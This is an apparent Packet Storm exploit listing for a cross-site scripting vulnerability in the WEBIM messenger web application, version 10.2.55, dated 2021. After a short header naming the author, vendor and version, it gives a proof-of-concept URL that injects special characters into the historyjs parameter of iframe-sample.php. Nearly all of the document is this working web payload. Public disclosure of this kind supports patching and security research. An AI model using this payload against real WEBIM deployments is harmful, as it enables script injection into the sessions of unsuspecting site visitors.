WEBIM 10.2.55 Cross Site Scripting ≈ Packet Storm
# Exploit Title: XSS in WEBIM web application
# Date: 10.08.2021
# Exploit Author: ASCII
# Vendor Homepage: HTTPS://WEBIM.RU
# Version: 10.2.55
# Tested on: 10.2.55
Webim messanger XSSPOC
https://[location].webim.ru/webim/iframe-sample.php?historyjs=1%27"()%26%25&location=test&redirected=0&webim-visitor=2&webimVisitor=1
Comments